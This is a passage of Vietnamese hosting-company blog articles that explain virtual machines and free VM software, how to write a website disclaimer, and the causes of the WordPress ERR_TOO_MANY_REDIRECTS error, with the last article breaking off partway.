trọng đối với nhiều ngành nghề, lĩnh vực. Trong đó bạn hoàn toàn có thể ứng dụng Virtual Machine cho những trường hợp sau: Test phần mềm, hệ điều hành Ứng dụng phổ biến nhất của máy ảo dễ dàng thấy rõ nhất chính là dùng cho mục đích kiểm tra phần mềm, test điều hành cho máy tính. Bởi vì một máy tính chỉ càn sở hữu hệ thống phần cứng đáp ứng nhu cầu thì có thể cài đặt bao nhiêu máy ảo tùy thích.  [caption id="attachment_22698" align="aligncenter" width="771"] Virtual Machine được ứng dụng nhiều để test phần mềm[/caption] Các máy ảo sẽ hiển thị giao diện phần mềm, hệ điều hành của các thiết bị mà bạn muốn thử nghiệm lên màn hình mà không gây hại cho hệ thống máy tính thật. Vì vậy quá trình kiểm tra phần mềm, test hệ điều hành cho máy tính thất thông qua máy tính ảo sẽ rất an toàn, hiệu quả.  Nói một cách dễ hiểu, khi bạn lập trình một app thương mại di động. Bạn muốn thử nghiệm xem giao diện của áp hoạt động thế nào trên iPhone. Vậy thì bạn chỉ cần cài đặt Virtual Machine trong phần mềm lập trình để test thử chương trình sẽ biết ngay kết quả. Do đó Virtual Machine luôn là lựa chọn ưu tiên cho các cuộc thử nghiệm, phát triển phần mềm. Củng cố hàng rào bảo mật cho server Máy ảo hiện nay không chỉ được sử dụng nhiều cho mục đích test thử nghiệm phần mềm, chương trình,…mà còn được dùng cho nhiều mục đích khác. Trong đó ứng dụng đáng chú ý nhất chính là dùng Virtual Machine để quản lý và tăng cường độ bảo mật cho các server. Việc sử dụng Virtual Machine để gia tăng độ bảo mật cho server được đông đảo người dùng lựa chọn hiện nay. Mỗi server nhận sự quản lý của Virtual Machine sẽ được tác riêng vào 1 môi trường ảo riêng biệt. Toàn bộ hệ thống cơ sở dữ liệu, các tài liệu và quy trình nghiệp vụ của server sẻ được máy ảo bảo quản nghiêm ngặt giúp nguồn dữ liệu không xảy ra sự cố.  [caption id="attachment_22704" align="aligncenter" width="771"] Máy ảo được ứng dụng để gia tăng độ bảo mật cho server[/caption] Các tình huống xung đột phần cứng hay bị nhiễm virus thường gặp ở các server cũng sẽ được môi trường ảo kiểm soát, ngăn chặt một cách tối đa. Với khả năng củng cố hàng rào bảo mật cho server an toàn tuyệt đối đã giúp môi trường ảo được chú ý. Đến nay, Virtual Machine trở thành sự lựa chọn tốt nhất dành cho những những hệ thống server yêu cầu tính bảo mật cao. Rà soát virus Máy ảo là chương trình có thể cho phép người dùng tạo ra những môi trường ảo với không gian đảm bảo sự riêng biệt. Môi trường Virtual Machine được tạo ra sẽ cách lý hoàn toàn với hoạt động của máy tính thật. Do đó các kỹ sư máy tính thường ứng dụng môi trường Virtual Machine để thực hiện các nghiên cứu và đưa ra nhiều phát minh công nghệ mới.  Sở dĩ các kỹ sư máy tính lựa chọn môi trường ảo là vì khi làm việc với môi trường này có thể dễ dàng kiểm tra virus. Đặc biệt Virtual Machine còn có khả năng rà soát và xử lý hiệu quả các loại virus khác nhau một cách nhanh chóng mà không gây ảnh hưởng trực tiếp đến tài nguyên và độ bảo mật của máy thật. Đây là một trong những ứng dụng tuyệt vời mà không phải hệ thống máy tính nào cũng có thể đáp ứng được. Chính vì thế Virtual Machine ngày càng được ứng dụng rộng rãi hơn trong cuộc sống. [caption id="attachment_22708" align="aligncenter" width="771"] Ứng dụng máy ảo để rà soát, kiểm tra virus[/caption] Sao chép bộ nhớ sang máy Một trong những ứng dụng tiếp theo rất được chú ý của máy ảo chính là cho phép người dùng sao chép bộ nhớ sang máy và nhiều thiết bị khác có cùng trình ảo hóa. Vì dữ liệu được soạn thảo, thực hiện trên máy Virtual Machine đều được lưu trữ ở dạng file trên máy thật. Do đó bạn hoàn toàn có thể di chuyển, sao chép dữ liệu, bộ nhớ này sang máy tính khác một cách dễ dàng và load Virtual Machine không gặp khó khăn gì.  Với ứng dụng sao chép hệ thống máy ảo sang máy khác khá linh hoạt đã đem đến cho người dùng một môi trường hoạt động không có gì khác biệt so với máy tính thật. Làm việc với môi trường ảo người dùng cũng sẽ thu thập được các dữ liệu chất lượng có thể sao chép sang nhiều hệ thống khác nhau đang làm việc với máy thật. Hỗ trợ chạy phần mềm không tương Máy tính hiện đại đang ngày càng được nâng cấp, cải tiến hơn so với các phiên bản cũ. Do đó sẽ có rất nhiều phần mềm cũ và mới không tương thích với phiên bản hệ điều hành hiện tại của máy tính. Chẳng hạn như một chương trình được xây dựng riêng cho hệ điều hành Linux thì không thể nào hoạt động tốt trên hệ điều hành Windows hoặc MAC. Vì vậy thiết lập máy chủ ảo trên các hệ điều hành là một ứng dụng tốt giúp hỗ trợ các máy tính sở hữu hệ điều hành không tương thích với phần mềm trở nên tương thích.  [caption id="attachment_22712" align="aligncenter" width="771"] Thiết lập máy ảo hỗ trợ chạy các phần mềm không tương thích[/caption] Máy chủ ảo được thiết lập tách biệt hoàn toàn với hệ thống máy tính thật dù tồn tại trên cùng một hệ điều hành. Do đó máy tính áo có thể đưa phần mềm không tương thích với máy tính thật đến với các môi trường ảo khác nhau nhằm tìm kiếm môi trường tương thích. Chính vì thế ứng dụng máy ảo là giải pháp hoàn hảo để bạn có thể trải nghiệm bất cứ phần mềm không tương thích nào khi có nhu cầu. Tạo ảnh chụp nhanh Một trong những ứng dụng tuyệt vời của máy ảo khiến người dùng ngày càng ưa chuộng ứng dụng chính là vì khả năng tạo ảnh chụp nhanh mà hệ thống cung cấp. Việc tạo ảnh chụp nhanh cung cấp cho máy chủ ảo có thể dễ dàng khôi phục dữ liệu ngay lập tức khi người dùng yêu cầu. Bạn chỉ cần tưởng tượng nếu mình muốn cài đặt một ứng dụng mới, chưa được kiểm tra và có thể không ổn đỉnh? Hay bạn muốn gỡ cài đặt một loạt phần mềm tích lũy trong vài tháng qua,….nhưng bạn không chắc chắn về việc mình làm có thực sự ổn không? Vậy bạn chỉ cần chụp nhanh hệ thống trước khi thao tác để so sánh với kết quả sau khi thao tác. Nếu quá trình sao tác có sự cố thì bạn có thể thực hiện khôi phục lại mọi thứ và tiếp tục như không có chuyện gì xảy ra.  Các bản sao lưu này trong môi trường ảo giống như một khôi phục hệ thống toàn diện và tốt nhất khi được lưu dưới dạng file duy nhất. Như vậy chỉ cần ứng dụng máy ảo là bạn vừa có thể khôi phục lại các thao tác đã được thực thi trước đó cũng như có thể di chuyển dữ liệu và lưu dữ liệu ở một nơi khác tùy ý mà không bị ảnh hưởng gì. [caption id="attachment_22716" align="aligncenter" width="771"] Máy ảo hỗ trợ tạo ảnh chụp nhanh, sao lưu hiệu quả[/caption] Lý do nên sử dụng máy ảo? Máy ảo ngày càng được ứng dụng nhiều hơn trong cuộc sống. Số lượng người dùng lựa chọn thiết lập máy chủ ảo có sự gia tăng đáng kể. Vì vậy rất nhiều người thắc mắc lý do vì sao nên sử dụng máy ảo? Nếu nhìn vào những ứng dụng tuyệt vời mà máy chủ ảo mang lại chắc chắn các bạn sẽ hiểu rõ lý do. Ngoài ra khi sử dụng máy chủ ảo còn mang đến cho người dùng nhiều lợi ích to lớn nên càng không thể bỏ lỡ. Những lợi ích đáng chú ý của Virtual Machine có thể kể đến như: Hỗ trợ nhiều môi trường hoạt động Máy ảo khi thiết lập trên máy tính thật có thể thoải mái gia tăng số lượng. Mỗi máy tính thật đảm bảo có thể cài đặt nhiều máy tính ảo khác nhau. Một máy tính ảo có thể phần ra nhiều môi trường ảo để đáp ứng ứng nhu cầu sức dụng. Vì vậy sử dụng Virtual Machine sẽ giúp người dùng có thêm nhiều môi trường hoạt động, làm việc. Không chỉ vậy, việc chạy nhiều môi trường ảo từ một phần cơ sở hạ tầng còn giúp làm giảm đáng kể dấu ấn cơ cơ sở vật lý. Điều này giúp thúc đẩy lợi nhuận của người dùng, giảm nhu cầu duy trì gần như nhiều máy tính thật. Nhờ vậy khi sử dụng Virtual Machine còn giúp người dùng tiết kiệm chi phí bảo trì, chi phí điện năng một cách vô cùng hiệu quả. [caption id="attachment_22720" align="aligncenter" width="771"] Vì sao nên dùng máy ảo?[/caption] Sự nhanh nhẹn và tốc độ Việc thiết lập máy ảo tương đối nhanh chóng và dễ dàng. Cung cấp máy ảo cũng vô cùng đơn giản hơn nhiều so với việc cung cấp một môi trường hoàn toàn mới cho các nhà phát triển của bạn. Ảo hóa làm cho quá trình chạy các kịch bản thử nghiệm nhanh hơn, hiệu quả hơn. Vì vậy thay vì lựa chọn các môi trường khác thì môi trường ảo là giải pháp mà người dùng không thể bỏ lỡ. Khả năng mở rộng Máy ảo là một trong những chương trình giả lập có khả năng cho phép người dùng thoải mái mở rộng ứng dụng của mình. Cách mở rộng ứng dụng rất đơn giản, người dùng chỉ cần thêm nhiều máy chủ vật lý hoặc máy ảo hơn để phân phối khối lượng công việc trên nhiều máy ảo là được. Chính vì thế lợi ích này của máy chủ áo giúp người dùng có thể tăng tính khả dụng và hiệu suất của các ứng dụng của mình trở nên phù hợp hơn một cách dễ dàng.  Khả năng mở rộng ứng dụng chính là một trong những ưu điểm tuyệt vời mà máy ảo mang lại cho người dùng. Đồng thời đây cũng là lý do mà những bạn có nhu cầu muốn mở rộng ứng dụng để đáp ứng điều kiện công việc cần thì lựa chọn thiết lập thêm máy ảo trên máy tính thật của mình là rất cần thiết. Tính bảo mật cao Virtual Machine hoặc đồng linh hoạt trên nhiều hệ điều hành khác nhau. Do đó khi sử dụng hệ điều hành khách trên máy áo sẽ cho phép người dùng dễ dàng chạy các ứng dụng có vấn đề về độ bảo mật và bảo vệ HĐH máy chủ của mình. Đặc biệt Virtual Machine còn cho phép người dùng thực hiện các biện pháp bảo mật tốt nhất.  [caption id="attachment_22724" align="aligncenter" width="771"] Máy ảo gia tăng tính bảo mật cho hệ thống[/caption] Sử dụng máy ảo có thể dễ dàng nghiên cứu virus máy tính một cách an toàn, cô lập virus nhằm giảm thiểu tối đa những rủi ro có thể xảy ra cho máy chủ. Đây là một trong những lợi ích mà không phải loại máy tính hiện đại nào cũng có thể đáp ứng được. Do đó lựa chọn sử dụng máy ảo là điều cần thiết. >>> Xem thêm: Disclaimer là gì? Hướng dẫn cách viết Disclaimer hoàn chỉnh Bỏ túi 4 Phần mềm máy ảo miễn phí tốt nhất hiện nay Máy ảo được thiết lập mang đến cho người dùng nguồn tài nguyên tuyệt vời. Các phần mềm máy chủ ảo cũng ngày càng trở nên đa dạng hơn giúp người dùng có nhiều lựa chọn. Tuy nhiên theo đánh giá của giới chuyên gia thì TOP 4 phần mềm máy ảo miễn phí sau đây là tốt nhất. Phần mềm Virtual Box Virtual Box là một trong những phần mềm máy ảo được đánh giá tốt nhất hiện nay. Vì vậy phần mềm này luôn lot danh sách TOP những phần mềm máy chủ ảo được yêu thích nhất. Virtual Box sở hữu ưu điểm có thể hỗ trợ đa nên tác gồm nền tảng Windows, macOS và Linux. Virtual Box không có phiên bản thương mại như nhiều phần mềm máy ảo khác hiện nay. Do đó người dùng có thể sử dụng một phần mềm ảo hóa với đầy đủ các chức năng của một hệ thống máy ảo hoàn thiện nhưng miễn phí. [caption id="attachment_22728" align="aligncenter" width="771"] Phần mềm máy ảo Virtual Box[/caption] Virtual Box là phần mềm được tạo ra bởi Oracle. Phần mềm được xem là một trong những phiên bản phần mềm ảo hóa tốt nhất, hoàn thiện nhất. Sử dụng phần mềm máy ảo này có thể giúp người dùng thiết lập trên hệ điều hành máy chủ dưới dạng một ứng dụng. Đồng thời có thể giúp người dùng tạo ra nhiều máy ảo một cách dễ dàng.  Virtual Box còn được chú ý khi tạo snapshot để lưu trạng thái máy chủ ảo hiện đại. Vì thế khi cần người dùng có thể hoàn nguyên trạng thái máy như ban đầu. Ngoài ra, phần mềm cũng hỗ trợ di chuyển các máy ảo, các công cụ tối ưu hóa hiệu suất và gửi truy cập từ xa.  >>> Xem thêm: Máy chủ ảo tiêu chuẩn Cloud Server Phần mềm VMware Workstation VMware Workstation là phần mềm tạo máy ảo nổi tiếng nhận được nhiều đánh giá tích cực từ phía người dùng. Phần mềm có thể hỗ trợ cài đặt trên những hệ điều hành mới phát hành như Windows 10, Linux.  VMware Workstation tương thích với các phần cứng mới nhất. Ưu điểm của phần mềm máy ảo này được đánh giá có GUI chất lượng cao, trực quan và cực kỳ dễ sử dụng. Nhược điểm của phần mềm này là có sự khác biệt giữa phiên bản miễn phí và phiên bản đòi hỏi phải mua bản quyền. Do đó việc thiết lập phần mềm VMware Workstation phiên bản miễn phí sẽ không thể sử dụng được đầy đủ các tính năng nâng cao như đối với phần mềm máy ảo VirtualBox. [caption id="attachment_22732" align="aligncenter" width="771"] Phần mềm máy ảo VMware Workstation[/caption] Mặc dù phiên bản VMware Workstation miễn phí có nhiều điểm có hạn chế nhưng vẫn đáp ứng được nhu cầu sử dụng mà người dùng cần. Vì vậy VMware Workstation miễn phí vẫn được đánh giá là một trong những phần mềm tạo máy ảo tốt nhất hiện nay. Phần mềm QEMU QEMU là phần mềm máy ảo tiếp theo được đánh giá cao về chất lượng và giá trị sử dụng. Phần mềm này được sử dụng nhiều trên hệ điều hành Linux với phiên bản miễn phí. Điểm mạnh của phần mềm máy chủ ảo QEMU so với các phần mềm khác chính là không yêu cầu quản trị viên phải đăng nhập để quản lý và sử dụng.  Mặt khác, phần mềm sẽ hỗ trợ các tính năng tự động điều chỉnh kích thước của đĩa ảo và thực hiện chạy mã khách quan trực tiếp trên phần cứng. Vì vậy sử dụng phần mềm khởi tạo máy chủ ảo QEMU giúp mang đến cho người dùng sự tiện lợi khi sử dụng. QEMU chính là sự lựa chọn hàng đầu cho việc xây dựng máy ảo di động trên ổ cứng mà người dùng không nên bỏ lỡ. [caption id="attachment_22736" align="aligncenter" width="771"] Phần mềm máy ảo QEMU sử dụng trên hệ điều hành Linux[/caption] Boot Camp Phần mềm khởi tạo máy ảo cuối cùng nằm trong TOP 4 phần mềm máy ảo miễn phí tốt nhất hiện nay chính là phần mềm Boot Camp. Phần mềm Boot Camp là phần mềm máy ảo được phát triển bởi Apple. Phần mềm được cài đặt trên Macbook và được ứng dụng chạy trên hệ điều hành Windows, macOS với phiên bản miễn phí. Sử dụng phần mềm Boot Camp cho phép người dùng khởi động kép cả 2 hệ điều hành một cách hiệu quả đó là hệ điều hành macOS và Windows. Tuy nhiên có một nhược điểm đáng chú ý đối với phần mềm này chính là mỗi khi bạn muốn di chuyển đổi hệ điều hành thì luôn cần phải khởi động lại máy tính. Nếu không thực hiện đúng quy trình đã được quy định như vậy thì việc chuyển đổi hệ điều hành sẽ thất bại. Ngoài ra, trong khi chạy phần mềm, ổ đĩa của máy cũng sẽ bị chia làm đôi. Do đó để đảm bảo máy hoạt động tốt, ổn định nhất thì bạn không nên chạy song song các ứng dụng Mac và ứng dụng Windows cùng lúc. Như vậy phần mềm Boot Camp mới mang đến cho bạn một quá trình sử dụng thuận lợi, đạt hiệu quả tốt nhất. [caption id="attachment_22740" align="aligncenter" width="771"] Phần mềm máy ảo Boot Camp[/caption] Những bài viết liên quan: Cloudflare là gì? Hướng dẫn sử dụng Cloudflare từ A – Z Application Server là gì? Toàn tập kiến thức về app server Linux là gì? Toàn tập kiến thức về hệ điều hành Linux iFrame là gì? Hướng dẫn nhúng iFrame vào website đơn giản Máy ảo là gì? 4 Phần mềm máy ảo miễn phí tốt nhất được đề cập nhiều hiện nay gồm những phần mềm nào? Sau khi tham khảo xong những chia sẻ chi tiết trong bài viết trên đây chắc chắn bạn đã tìm được cho mình lời giải đáp như ý. Tuy nhiên nếu trong quá trình tìm hiểu bài viết và có nội dung nào không hiểu hoặc có thêm vấn đề gì thắc mắc thì bạn đừng lo lắng mà có thể liên hệ FPT Cloud để được hỗ trợ.

Disclaimer là gì? Hướng dẫn cách viết Disclaimer hoàn chỉnh

10:14 10/03/2022
Disclaimer là gì? Theo đó nếu như đang quản lý hoặc sở hữu một trang Web thì bắt buộc bạn phải biết tới thuật ngữ disclaimer. Nếu như trang web của bạn không có tuyên bố từ bỏ trách nhiệm thì chắc chắn rằng bạn sẽ gặp phải một số vấn đề rắc rối liên quan tới pháp luật. Để hiểu được rõ hơn disclaimer là gì và cách viết sao cho hoàn chỉnh hãy cùng tìm hiểu ngay sau đây.  Disclaimer là gì?  Disclaimer là gì? Theo đó hiểu một cách đơn giản đây chính là 1 sự từ chối về trách nhiệm để giới hạn quyền cũng như nghĩa vụ của 1 đối tượng cùng với đối tượng còn lại thuộc 1 mối quan hệ nào đó đã được pháp lý công nhận.  [caption id="attachment_22546" align="aligncenter" width="771"] Tìm hiểu khái niệm Disclaimer là gì?[/caption] Vậy hiện tại với những trang Web đang hoạt động trên internet thì khái niệm disclaimer là gì? Theo đó đây là 1 thông báo được đặt ở trên mỗi một trang Web và nội dung liên quan tới việc hạn chế về trách nhiệm pháp lý của trang Web đó với các kết quả xảy ra cho người dùng từ việc theo dõi trang Web này. Tuy bạn có thể sẽ không để ý tới nhưng hiện tại gần như 100 % những trang Web hoạt động trên internet đều có tuyên bố này. Vậy hiện tại tầm quan trọng của Disclaimer là gì? Tầm quan trọng của Disclaimer Như vậy có thể thấy được rằng hầu như 100 % những trang Web trên thị trường hiện nay đều có tuyên bố Disclaimer này. Vậy hiện tại tầm quan trọng của Disclaimer là gì? Hạn chế ảnh hưởng của content không phù hợp  Disclaimer là gì? Theo đó hiện tại Disclaimer sẽ giúp hạn chế ảnh hưởng của content không phù hợp.  [caption id="attachment_22550" align="aligncenter" width="771"] Tầm quan trọng của Disclaimer là hạn chế ảnh hưởng của content không phù hợp[/caption] Ví dụ như nếu Như khách hàng đọc những bài viết hướng dẫn cách thức trị mụn trên một trang Web làm đẹp và sau đó áp dụng theo những hướng dẫn này nhưng mặt không những không thể hết mụn mà nó còn bị những dị ứng khiến cho da gặp tình trạng tồi tệ hơn và đã quyết định kiện trang Web. Nhưng nếu như website đã có disclaimer và thông báo sẽ không chịu bất cứ một trách nhiệm nào về các trường hợp tương tự thì khi đó sẽ được ủng hộ hoàn toàn tại tòa.  Vậy có thể thấy được rằng khái niệm disclaimer là gì này hiện vô cùng quan trọng. Trong trường hợp nếu như trang Web thiếu nó thì khi đó nguy cơ gặp kiện cáo cũng như lãnh những án phạt sẽ rất cao. Tuy nhiên hiện tại nói như vậy thì có làm giảm độ tin cậy và uy tín từ nội dung trên những trang Web hay không?  Trên thực tế đây là một điều không thể nào tránh khỏi vì tất cả mọi thứ đều không thể chính xác và hoàn hảo một cách tuyệt đối. Dù cho kiến thức có sâu rộng tới đâu thì cũng không thể nào đảm bảo được nội dung đăng tải trên trang Web là chính xác 100 % trong tất cả những tình huống và hoàn cảnh.  >>> Xem thêm: Lỗi err_too_many_redirects: Nguyên nhân và cách khắc phục Đóng vai trò như một lớp phòng thủ cho website Tầm quan trọng của Disclaimer là gì? Theo đó hiện tại nó không chỉ dành cho những content ngay trên website mà còn hướng tới toàn bộ những yếu tố có trên trang Web và có thể ảnh hưởng tới người dùng. Ví dụ như có người đang truy cập vào trong trang Web của bạn sau đó gặp những vấn đề liên quan tới bản quyền nội dung, hình ảnh hoặc bị dính mã độc,... thì họ hoàn toàn có thể kiện ra tòa.  [caption id="attachment_22554" align="aligncenter" width="771"] Disclaimer sẽ đóng vai trò như một lớp phòng thủ cho website[/caption] Do đó disclaimer sẽ tương tự như một lớp phòng thủ dành cho tất cả mọi thứ ở trên trang Web của bạn. Như vậy bạn sẽ cảm thấy yên tâm và thoải mái hơn khi đăng bất kỳ thứ gì lên trên trang Web nhờ vào tuyên bố này.  Disclaimer là gì? Theo đó một trong những vai trò quan trọng khác của nó đó chính là hạn chế trách nhiệm về hành vi từ bên thứ ba. Ví dụ như ở những bài viết trên trang Web có riêng phần comment dành cho người đọc cũng như 1 tổ chức nào vào quảng cáo những thông tin của họ tại đây hay đưa ra tuyên bố, bình luận tiêu cực. Những tuyên bố từ chối trách nhiệm ngay trên trang Web sẽ giúp cho bạn tránh được những phát ngôn và hành vi từ bên thứ ba đó.  Khẳng định chủ quyền website  Hiện tại Disclaimer đang giúp khẳng định chủ quyền website. Cụ thể nếu như bạn đang thuộc một công ty hoặc tổ chức và đang sở hữu một blog hoặc trang Web riêng. Trang Web cá nhân này hoàn toàn có thể được liên kết đến tổ chức, công ty của bạn.  [caption id="attachment_22560" align="aligncenter" width="771"] Disclaimer đang giúp khẳng định chủ quyền website[/caption] Trong trường hợp nếu như trang Web cá nhân không may bị kiện thì hoàn toàn có thể gây ảnh hưởng trực tiếp tới tổ chức và công ty. Tầm quan trọng của Disclaimer là gì? Như vậy Disclaimer trên trang Web riêng này hoàn toàn có thể giúp khẳng định nội dung chỉ thuộc về cá nhân và không liên quan tới tổ chức hoặc công ty của bạn.  Tuy nhiên cũng cần phải lưu ý rằng hiện tại tuyên bố từ chối về trách nhiệm này sẽ không giúp cho bạn tránh được toàn bộ những vụ kiện cáo. Chính vì vậy dù biết trang Web đã có disclaimer tuy nhiên hiện tại một số người dùng vẫn đưa đơn kiện vì rất nhiều những lý do khác nhau. Như vậy khi ra tòa, đơn vị tòa án sẽ thực hiện xem xét trên trang Web có disclaimer không và tuyên bố này có bao hàm những nội dung có trong vụ kiện không, có phù hợp với những quy định từ phía pháp luật hay không,... Trong trường hợp nếu như có thì chắc chắn rằng bạn sẽ vẫn được pháp luật bảo vệ tuyệt đối.  Cách viết một Disclaimer hoàn chỉnh Chắc chắn rằng hiện tại không có bất cứ một công thức nào cụ thể cho việc viết 1  disclaimer. Vì hiện tại tùy thuộc vào nội dung, quy mô và lĩnh vực của trang Web sẽ có các tuyên bố khác nhau. Đối với khái niệm Disclaimer là gi này chỉ cần đáp ứng những điều kiện và nhu cầu của chủ sở hữu trang web. Nhưng hiện tại vẫn có một số những nội dung cơ bản mà bạn hoàn toàn có thể cân nhắc để đưa vào trong tuyên bố của mình trong đó có thể kể đến như:  [caption id="attachment_22568" align="aligncenter" width="771"] Hướng dẫn chi tiết cách thức viết một Disclaimer hoàn chỉnh[/caption] Tuyên bố quyền sở hữu  Hiện tại nó hoàn toàn có thể nêu rõ về quyền sở hữu của bạn với nội dung, tác phẩm trên trang Web để ngăn cản những hành vi ăn cắp tài nguyên Web. Bên cạnh đó nó còn giúp bảo vệ bạn tránh khỏi các cáo buộc liên quan tới đạo nhái, sao chép từ những trang Web khác.  Giới hạn về trách nhiệm pháp lý  [caption id="attachment_22576" align="aligncenter" width="771"] Chi tiết cách thức viết một Disclaimer hoàn chỉnh là giới hạn về trách nhiệm pháp lý[/caption] Đối với khái niệm Disclaimer là gì tốt nhất bạn hãy nên đưa ra những phạm vi, lĩnh vực mà bản thân sẽ chịu trách nhiệm pháp lý cũng như các vấn đề nào sẽ không chịu trách nhiệm. Điều hiển nhiên là các tuyên bố này bắt buộc phải phù hợp với những quy định của pháp luật hiện hành.  Ví dụ như nếu mở một trang Web bán hàng thì khi đó không thể nói rằng bản thân không chịu những trách nhiệm nếu như giao hàng không đúng cho khách hàng.  Cho người đọc biết nội dung chỉ mang tính chất tham khảo Nếu như có tìm hiểu về khái niệm Disclaimer là gì này thì tốt nhất bạn nên cho người đọc biết được rằng tất cả những nội dung có trên trang Web chỉ là ý kiến có tính chất tham khảo, đồng thời nó không hẳn sẽ chính xác 100 %. Vì theo những không tin đã được đề cập ở trên thì bất cứ một nội dung nào cũng sẽ không đảm bảo tuyệt đối. Khi đó disclaimer sẽ giúp bảo vệ cho bạn khỏi những hình phạt và cáo buộc từ những vụ kiện. [caption id="attachment_22584" align="aligncenter" width="771"] Khi viết Disclaimer nên cho người đọc biết nội dung chỉ mang tính chất tham khảo[/caption] Thông báo về trách nhiệm của người đọc Hiện tại bạn nên thông báo cho người đọc biết rằng trang Web sẽ không chịu bất cứ trách nhiệm nào nếu như có hậu quả xảy ra trong trường hợp thực hiện theo nội dung của trang web. Do toàn bộ những thông tin chỉ là lời khuyên, việc thực hiện hay không sẽ do người đọc hoàn toàn chịu trách nhiệm.  >>> Xem thêm: ETL là gì? Cách thức hoạt động và tầm quan trọng của ETL Từ chối trách nhiệm từ những nội dung, hành vi của bên thứ ba Disclaimer là gì? Theo đó tốt nhất bạn nên tuyên bố từ chối tất cả trách nhiệm từ những nội dung, hành vi của bên thứ ba. Đặc biệt là đối với những trang mạng xã hội hoặc trang Web cho phép người đọc bình luận tự do thì khi đó tuyên bố này sẽ giúp cho bạn tránh được hậu quả từ bên thứ ba sẽ gây ra cho khách hàng.  [caption id="attachment_22580" align="aligncenter" width="771"] Khi viết Disclaimer nên từ chối trách nhiệm từ những nội dung, hành vi của bên thứ ba[/caption] Những bài viết liên quan: 503 Service Unavailable là lỗi gì? Nguyên nhân & cách khắc phục CMS là gì? Các phần mềm CMS phổ biến nhất 2022 SSL là gì? Kiến thức cần biết về chứng chỉ số SSL từ A – Z WHMCS là gì? Tính năng vượt trội và cách cấu hình WHMCS Như vậy trên đây là một số những kiến thức cơ bản liên quan tới khái niệm Disclaimer là gì. Hy vọng rằng với những thông tin của https://fptcloud.com/ cung cấp qua bài viết trên sẽ giúp bạn hiểu được rõ hơn về những tuyên bố từ chối về trách nhiệm trên trang Web và những nội dung cần phải có trong bản tuyên bố này. Đặc biệt là sẽ giúp cho trang Web của bạn không gặp phải những vấn đề liên quan tới pháp luật.

Lỗi err_too_many_redirects: Nguyên nhân và cách khắc phục

10:08 10/03/2022
ERR_TOO_MANY_REDIRECTS là một lỗi khá thường xuyên gặp phải đối với những ai đang thực hiện quản trị web WordPress. Theo đó nó sẽ gây ảnh hưởng trực tiếp tới quá trình quản trị Web của bạn và đặc biệt là lỗi này có thể xảy ra bởi nhiều nguyên nhân khác nhau. Vậy nguyên nhân và cách khắc phục là như thế nào hãy cùng tìm hiểu qua bài viết sau đây.  err_too_many_redirects là lỗi gì? Khi thực hiện quản trị web WordPress, chắc hẳn rằng rất nhiều người đã gặp lỗi ERR_TOO_MANY_REDIRECTS. Theo đó ERR_TOO_MANY_REDIRECTS hay còn được biết tới là lỗi về vòng lặp chuyển hướng, trình duyệt sẽ không thể nào tìm ra được URL cần phải tải và liên tục bị chuyển hướng.  [caption id="attachment_22502" align="aligncenter" width="771"] ERR_TOO_MANY_REDIRECTS là lỗi gì?[/caption] Đây là một lỗi khác cơ bản với rất nhiều người gặp phải khi quản trị Web. Đặc biệt có rất nhiều những nguyên nhân khác nhau gây ra nỗi này. Chính vì vậy bạn không cần phải quá lo lắng ta, cùng tìm hiểu nguyên nhân gây ra lỗi ERR_TOO_MANY_REDIRECTS này ở phần sau đây.  Nguyên nhân gây ra lỗi err_too_many_redirects Theo dõi dưới đây là những nguyên nhân chính gây ra lỗi ERR_TOO_MANY_REDIRECTS này trong web WordPress cụ thể: Chương trình truyền dữ liệu cookie bị lỗi.  Quá trình cài đặt WordPress bị sai cấu hình. Xung đột về plugin WordPress. Thiết đặt máy chủ hiện không chính xác. Những vấn đề với những dịch vụ từ bên thứ ba. Chứng chỉ SSL/TLS hết hạn hoặc cấu hình sai. Cookie trên trình duyệt bị lỗi [caption id="attachment_22506" align="aligncenter" width="771"] Nguyên nhân gây ra lỗi err_too_many_redirects phổ biến hiện nay[/caption] Hiện tại hầu hết những trang Web đang hoạt động đều lưu trữ cookie ngay trong trình duyệt để có thể nâng cao được trải nghiệm của người dùng. Theo đó đôi khi những cookie này hoàn toàn có thể chứa những dữ liệu lỗi thời hay bị lỗi và có thể dẫn tới lỗi chuyển hướng. Như vậy việc xóa cookie ngay trên trình duyệt sẽ loại bỏ đi khả năng gây ra lỗi ERR_TOO_MANY_REDIRECTS này. Cache dữ liệu đã quá cũ Những vòng lặp chuyển hướng vì phản hồi máy chủ hoàn toàn có thể được lưu trữ vào bộ nhớ đệm. Do đó ngay cả trường hợp đã khắc phục được sự cố của lỗi ERR_TOO_MANY_REDIRECTS này thì bạn cũng nên xóa cache trên website và cache trình duyệt.  Lỗi trong đường dẫn đến website WordPress Nếu như bạn vẫn đang truy cập được trực tiếp vào trang Quản trị Web thì rất có thể lỗi ERR_TOO_MANY_REDIRECTS này là do đường dẫn tới Web WordPress không đúng. Đây là một trong những nguyên nhân phổ biến hiện nay và đối với trường hợp này bạn hoàn toàn có thể khắc phục lỗi này một cách dễ dàng.  Chứng chỉ SSL / TLS bị lỗi hoặc hết hạn  Chứng chỉ SSL / TLS bị lỗi hoặc hết hạn cũng là nguyên nhân dẫn đến lỗi ERR_TOO_MANY_REDIRECTS này. Theo đó hiện tại chứng chỉ SSL này sẽ cho phép người dùng trực tiếp chi cập vào trong trang Web với giao thức HTTPS cũng như mã hóa những dữ liệu kết nối người dùng cùng Website. [caption id="attachment_22510" align="aligncenter" width="771"] Nguyên nhân gây ra lỗi là vì chứng chỉ SSL / TLS bị lỗi hoặc hết hạn[/caption] Nếu như đang thiết lập trang Web được tải thông qua giao thức HTTPS tuy nhiên vẫn chưa cài đặt cũng như cấu hình của chứng chỉ SSL / TLS được đúng cách thì như vậy điều này đồng nghĩa với việc nó có thể dẫn tới công lập chuyển hướng do trình duyệt không thể nào kết nối HTTPS cùng với máy chủ. Xung đột plugin Lỗi ERR_TOO_MANY_REDIRECTS này trên máy tính có thể xảy ra là vì xung đột Plugin. Theo đó những plugin WordPress đôi khi hoàn toàn có thể can thiệp trực tiếp vào trong hoạt động của những quy tắc chuyển hướng vì WordPress hay máy chủ thiết lập. Theo đó bạn nên thực hiện cách kích hoạt những plugin lần lượt ngay trên Hosting WordPress để có thể xác định được plugin nào hiện tại đang gây lỗi. Đối với trường hợp nếu như không thể nào truy cập trực tiếp vào trong trang quản trị Web thì cần sử dụng tài khoản FTP hay tài khoản quản trị hosting để có thể truy cập thẳng vào trong hosting.  >>> Xem thêm: Lỗi 502 Bad gateway là gì? Nguyên nhân & cách khắc phục từ A-Z Cách khắc phục lỗi err_too_many_redirects Lỗi ERR_TOO_MANY_REDIRECTS này sẽ gây ra nhiều gián đoạn cho quá trình quản trị web WordPress 